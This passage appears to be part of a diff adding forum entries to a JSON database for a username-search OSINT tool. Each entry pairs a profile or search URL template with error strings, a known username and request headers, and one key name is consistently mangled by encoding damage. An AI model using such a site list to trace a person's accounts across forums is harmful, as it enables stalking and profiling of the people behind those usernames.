"message", + "exclusion": "\\W", + "url": "https://mysticalgarland.at.ua/index/8-0-{}", + "urlMain": "https://mysticalgarland.at.ua", + "usernameON": "rusanov19110088", + "bad_site": "" + }, + "Forum_mysurvival": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mysurvivalforum.com/members/?username={}", + "urlMain": "https://mysurvivalforum.com", + "usernameON": "mekada", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_mytractor": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mytractorforum.com/members/?username={}", + "urlMain": "https://www.mytractorforum.com", + "usernameON": "fuzzy2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mytrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mytrans.3dn.ru/index/8-0-{}", + "urlMain": "https://mytrans.3dn.ru", + "usernameON": "kirilvoshnovskiy", + "bad_site": "" + }, + "Forum_myvisualdatabase": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users were", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myvisualdatabase.com/forum/userlist.php?username={}&show_group=-1&sort_by=username&sort_dir=ASC&search=Search", + "urlMain": "https://myvisualdatabase.com", + "usernameON": "DriveSoft", + "bad_site": "" + }, + "Forum_myword": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myword.borda.ru/?32-{}", + "urlMain": "https://myword.borda.ru", + "usernameON": "kaccob", + "bad_site": "" + }, + "Forum_myxlam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myxlam.clan.su/index/8-0-{}", + "urlMain": "https://myxlam.clan.su", + "usernameON": "nagimrasul", + "bad_site": "" + }, + "Forum_mzee": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mzee.com/forum/members/?username={}", + "urlMain": "https://www.mzee.com", + "usernameON": "eduardo", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_n2td": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.n2td.org/index.php?members/&username={}", + "urlMain": "https://forum.n2td.org", + "usernameON": "dylansmall", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nabran": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.nabran.ru/index/8-0-{}", + "urlMain": "http://www.nabran.ru/", + "usernameON": "ghgjjg", + "bad_site": "" + }, + "Forum_nada25": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nada25.ucoz.ru/index/8-0-{}", + "urlMain": "https://nada25.ucoz.ru", + "usernameON": "svn", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nag": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пожалуйста, подождите", + "errorMsg2": "| Cloudflare", + "errorMsg3": "0 результатов", + "errorTyp��": "message", + "url": "https://forum.nag.ru/index.php?/search/&q={}&start_after=any", + "urlMain": "https://forum.nag.ru", + "usernameON": "frol13", + "bad_site": "" + }, + "Forum_nameberry": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.nameberry.com/u/{}/summary", + "urlMain": "https://forum.nameberry.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Namepros": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.namepros.com/members/?username={}", + "urlMain": "https://www.namepros.com", + "usernameON": "velted", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_napolimagazine": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio", + "errorMsg2": "Al momento non ti", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.napolimagazine.info/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Cerca", + "urlMain": "https://www.napolimagazine.info/", + "usernameON": "pinos", + "bad_site": "" + }, + "Forum_narkomanija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.narkomanija.ba/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.narkomanija.ba", + "usernameON": "sanela", + "bad_site": "" + }, + "Forum_narutoshiprus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://narutoshiprus.ucoz.ru/index/8-0-{}", + "urlMain": "https://narutoshiprus.ucoz.ru", + "usernameON": "fint333", + "bad_site": "" + }, + "Forum_nash-dialog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nash-dialog.com/members/?username={}", + "urlMain": "https://nash-dialog.com", + "usernameON": "nuarr", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nashaplaneta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользоват", + "errorTyp��": "message", + "url": "https://nashaplaneta.net/forum/memberlist.php?username={}", + "urlMain": "https://nashaplaneta.net", + "usernameON": "nausla", + "bad_site": "" + }, + "Forum_nashausadba": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nashausadba.com.ua/forum/members/?username={}", + "urlMain": "https://nashausadba.com.ua", + "usernameON": "manana", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nashtransport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.nashtransport.ru/search/?q={}&quick=1&type=blog_entry", + "urlMain": "https://www.nashtransport.ru", + "usernameON": "kventz", + "bad_site": "" + }, + "Forum_nationsglory": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Erreur", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Pseudo inexistant", + "errorTyp��": "message", + "url": "https://nationsglory.fr/profile/{}", + "urlMain": "https://nationsglory.fr", + "usernameON": "nimomoney", + "bad_site": "" + }, + "Forum_navi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://forum.navi.gg/search?query=&orderByType=relevance&user=+§ion=&calendarDate=", + "urlMain": "https://forum.navi.gg/", + "usernameON": "termenator46", + "bad_site": "" + }, + "Forum_navyclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://navyclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://navyclub.ucoz.ru", + "usernameON": "Delfa", + "bad_site": "" + }, + "Forum_naydemvam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://naydemvam.naydemvam.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://naydemvam.naydemvam.ru", + "usernameON": "Urri", + "bad_site": "" + }, + "Forum_nba777": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nba777.ucoz.ru/index/8-0-{}", + "urlMain": "https://nba777.ucoz.ru", + "usernameON": "JustinFem", + "bad_site": "" + }, + "Forum_nbcsportsedge": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nbcsportsedge.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nbcsportsedge.com", + "usernameON": "Jtraysfan", + "bad_site": 1 + }, + "Forum_Ne-kurim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ne-kurim.ru/members/?username={}", + "urlMain": "https://ne-kurim.ru/", + "usernameON": "gpp", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_necropolis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://necropolis.ucoz.ru/index/8-0-{}", + "urlMain": "https://necropolis.ucoz.ru", + "usernameON": "RuTOR", + "bad_site": "" + }, + "Forum_nedvizimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nedvizimost.ucoz.ru/index/8-0-{}", + "urlMain": "https://nedvizimost.ucoz.ru", + "usernameON": "natayovzhik", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nemodniy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "НЕМОДНЫЙ КЛУБ.", + "errorTyp��": "message", + "url": "http://forum.nemodniy.ru/member.php?username={}", + "urlMain": "http://forum.nemodniy.ru", + "usernameON": "MEDBEDb", + "comments": "bad", + "bad_site": 1 + }, + "Forum_neodni": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.my-neodni.ucoz.ru/index/8-0-{}", + "urlMain": "http://www.my-neodni.ucoz.ru", + "usernameON": "probe505", + "bad_site": "" + }, + "Forum_neptuneos": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.neptuneos.com/public/u/{}", + "urlMain": "https://forum.neptuneos.com", + "usernameON": "leszek", + "bad_site": "" + }, + "Forum_nerchinsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nerchinsk.ucoz.ru/index/8-0-{}", + "urlMain": "https://nerchinsk.ucoz.ru/", + "usernameON": "tarogadanie11", + "bad_site": "" + }, + "Forum_netbiz": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "403 Forbidden", + "errorMsg2": "Пользователь не найден", + "errorTyp��": "message", + "url": "https://netbiz.at.ua/index/8-0-{}", + "urlMain": "https://netbiz.at.ua/", + "usernameON": "tag", + "bad_site": 1, + "comments": "Oplata", + "exclusion": "\\W" + }, + "Forum_netcookingtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://netcookingtalk.com/forums/members/?username={}", + "urlMain": "https://netcookingtalk.com", + "usernameON": "rickismom", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_netdietam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://netdietam.ucoz.ru/index/8-0-{}", + "urlMain": "https://netdietam.ucoz.ru/", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_netduma": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.netduma.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.netduma.com", + "usernameON": "vpn", + "bad_site": "" + }, + "Forum_nettractortalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nettractortalk.com/forums/members/?username={}", + "urlMain": "https://www.nettractortalk.com/", + "usernameON": "chennaicontainers", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nevendaar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nevendaar.3dn.ru/index/8-0-{}", + "urlMain": "https://nevendaar.3dn.ru", + "usernameON": "Химера", + "bad_site": "" + }, + "Forum_neveroyatno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://neveroyatno.ucoz.ru/index/8-0-{}", + "urlMain": "https://neveroyatno.ucoz.ru", + "usernameON": "serko78", + "bad_site": "" + }, + "Forum_new-journals": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-journals.at.ua/index/8-0-{}", + "urlMain": "https://new-journals.at.ua", + "usernameON": "petrjarik77", + "bad_site": "" + }, + "Forum_new-nedvigimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-nedvigimost.moy.su/index/8-0-{}", + "urlMain": "https://new-nedvigimost.moy.su", + "usernameON": "olgapet946", + "bad_site": "" + }, + "Forum_newcok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newcok.ru/index/8-0-{}", + "urlMain": "http://newcok.ru/", + "usernameON": "Kass", + "bad_site": "" + }, + "Forum_newjerseyhunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newjerseyhunter.com/members/?username={}", + "urlMain": "https://www.newjerseyhunter.com", + "usernameON": "slayer1962", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newlcn": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Sorry, but that user does not exist.", + "errorMsg2": ">Information</td>", + "errorTyp��": "message", + "url": "http://forum.newlcn.com/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.newlcn.com", + "usernameON": "sckameikin22", + "bad_site": "" + }, + "Forum_newload_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newload.ucoz.ru/index/8-0-{}", + "urlMain": "https://newload.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_newnissanz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newnissanz.com/members/?username={}", + "urlMain": "https://www.newnissanz.com", + "usernameON": "speczracer", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newpower": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newpower.at.ua/index/8-0-{}", + "urlMain": "https://newpower.at.ua", + "usernameON": "kot358194", + "bad_site": "" + }, + "Forum_newros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newros.ru/index/8-0-{}", + "urlMain": "http://newros.ru", + "usernameON": "mrferos921", + "bad_site": "" + }, + "Forum_newschoolers": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "Sorry, we couldn't find anything that matched your search query.", + "errorTyp��": "message", + "url": "https://www.newschoolers.com/search?tab=members&s={}", + "urlMain": "https://www.newschoolers.com", + "usernameON": "skierman", + "bad_site": "" + }, + "Forum_nexgencheats": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.nexgencheats.com/index.php?/search/&q={}&type=core_members", + "urlMain": "https://www.nexgencheats.com", + "usernameON": "ViraL", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_next-gazel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://next-gazel.ru/forum/member.php?username={}", + "urlMain": "https://next-gazel.ru", + "usernameON": "cmd368tv", + "bad_site": "" + }, + "Forum_nexusmods": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nexusmods.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nexusmods.com", + "usernameON": "EvilFixer", + "bad_site": "" + }, + "Forum_nf-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nf-club.ru/index/8-0-{}", + "urlMain": "http://nf-club.ru", + "usernameON": "SloNF", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_ngs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": " <div class=\"create-a-post actually-show-error", + "errorMsg2": "Результатов, соответствующих Вашему запросу, не найдено", + "errorTyp��": "message", + "url": "https://forum.ngs.ru/search/?words={}&forum=all&match=username&limit=25", + "urlMain": "https://forum.ngs.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_nicolaspark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nicolaspark.my1.ru/index/8-0-{}", + "urlMain": "https://nicolaspark.my1.ru", + "usernameON": "fox", + "bad_site": "" + }, + "Forum_niflheim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://niflheim.world/members/?username={}", + "urlMain": "https://niflheim.world", + "usernameON": "mouro3100", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_Night_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://night.kharkov.ua/index/8-0-{}", + "urlMain": "http://night.kharkov.ua", + "usernameON": "lauraao1", + "bad_site": "" + }, + "Forum_nikmc": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nikmc-i.ucoz.ru/index/8-0-{}", + "urlMain": "http://nikmc-i.ucoz.ru", + "usernameON": "zaiacsania", + "bad_site": "" + }, + "Forum_nikola": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikola-apx.ucoz.ru/index/8-0-{}", + "urlMain": "https://nikola-apx.ucoz.ru", + "usernameON": "Ilya", + "bad_site": "" + }, + "Forum_nikonites": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nikonites.com/forum/members/?username={}", + "urlMain": "https://nikonites.com/", + "usernameON": "weebee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nikopol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikopol.moy.su/index/8-0-{}", + "urlMain": "https://nikopol.moy.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_nikos": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nikos.at.ua/index/8-0-{}", + "urlMain": "https://nikos.at.ua", + "usernameON": "Saymon", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nim-lang": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.nim-lang.org/profile/{}", + "urlMain": "https://forum.nim-lang.org", + "usernameON": "SolitudeSF", + "bad_site": "" + }, + "Forum_nintendo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nintendoforums.com/members/?username={}", + "urlMain": "https://www.nintendoforums.com", + "usernameON": "dustinb12", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nissan": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanforums.com/members/?username={}", + "urlMain": "https://www.nissanforums.com", + "usernameON": "weeaboo123", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanclub": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanclub.com/members/?username={}", + "urlMain": "https://www.nissanclub.com", + "usernameON": "administrator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanzclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanzclub.com/forum/members/?username={}", + "urlMain": "https://www.nissanzclub.com", + "usernameON": "mcn1smo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_njofficer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Contact your hosting provider", + "errorTyp��": "message", + "url": "https://www.njofficer.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.njofficer.com", + "usernameON": "JRoberts", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_nkp": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nn2000.ucoz.ru/index/8-0-{}", + "urlMain": "https://nn2000.ucoz.ru", + "usernameON": "nn2000", + "bad_site": "" + }, + "Forum_nocd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nocd.ru/index/8-0-{}", + "urlMain": "https://nocd.ru", + "usernameON": "Fridrih", + "bad_site": "" + }, + "Forum_noginsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://noginsk.ucoz.com/index/8-0-{}", + "urlMain": "https://noginsk.ucoz.com", + "usernameON": "Skyler", + "bad_site": "" + }, + "Forum_nohide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nohide.io/members/?username={}", + "urlMain": "https://nohide.io", + "usernameON": "gamerocs", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nokia6230i": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://nokia6230i.ucoz.ru/index/8-0-{}", + "urlMain": "https://nokia6230i.ucoz.ru", + "usernameON": "Dim0271", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nokiasoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "url": "https://nokiasoft.3dn.ru/index/8-0-{}", + "urlMain": "https://nokiasoft.3dn.ru", + "usernameON": "OOccuts", + "bad_site": "", + "comments": "bad", + "exclusion": "\\W" + }, + "Forum_nomadbsd": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.nomadbsd.org/u/{}/summary", + "urlMain": "https://forum.nomadbsd.org", + "usernameON": "borgio3", + "bad_site": "" + }, + "Forum_nonarko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum-nonarko.ru/members/?username={}", + "urlMain": "https://forum-nonarko.ru", + "usernameON": "GAVR", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nooneaboveus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://nooneaboveus.ucoz.ru/index/8-0-{}", + "urlMain": "https://nooneaboveus.ucoz.ru", + "usernameON": "Лана", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nordog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nordog.ucoz.ru/index/8-0-{}", + "urlMain": "https://nordog.ucoz.ru", + "usernameON": "gutan1201", + "bad_site": "" + }, + "Forum_northernbrewer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.northernbrewer.com/users/{}/activity", + "urlMain": "https://forum.northernbrewer.com", + "usernameON": "joonze", + "bad_site": "" + }, + "Forum_northstandchat": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.northstandchat.com/members/?username={}", + "urlMain": "https://www.northstandchat.com", + "usernameON": "hitony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nosmoking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://nosmoking.ru/phpBB2/search.php?keywords=&terms=all&author={}", + "urlMain": "https://nosmoking.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_Not_606": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://not606.com/members/?username={}", + "urlMain": "https://not606.com", + "usernameON": "fromthestands", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nousch1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nousch1.ucoz.ru/index/8-0-{}", + "urlMain": "https://nousch1.ucoz.ru", + "usernameON": "Lostoff", + "bad_site": "" + }, + "Forum_novascotiahunting": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novascotiahunting.com/members/?username={}", + "urlMain": "https://www.novascotiahunting.com", + "usernameON": "3macs1", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": 